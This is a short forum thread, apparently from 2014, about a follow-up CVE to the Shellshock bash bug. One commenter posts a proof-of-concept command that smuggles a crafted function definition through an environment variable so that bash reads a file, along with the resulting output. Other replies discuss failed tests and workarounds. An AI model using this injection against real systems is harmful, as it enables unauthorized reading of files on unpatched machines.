4 ms·
Reproduced from my comment on the discussion of the previous CVE The same trick can be used to read files as well $ date -u > file1 $ env -i X='() { (a)=<
by timv 12y ago
Reproduced from my comment on the discussion of the previous CVE
The same trick can be used to read files as well
$ date -u > file1
$ env -i X='() { (a)=<\' bash -c 'file1 cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 02:14:30 UTC 2014
Though obviously it's going to be trickier to find an system that issues commands in a way that can act as a path for that sort of exploit.
- totalzeross 12y agoThe reponse from ubuntu 14.04 user@user:~/ X X: user not authorized to run the X server, aborting.
- deleted 12y ago[deleted]
- sharifmamun 12y agoI guess you are running remotely or you didn't use sudo!
- deleted 12y ago[deleted]
- tokenizerrr 12y agoI think you screwed up your test, I have not managed to get it to work with the LD_PRELOAD workaround installed.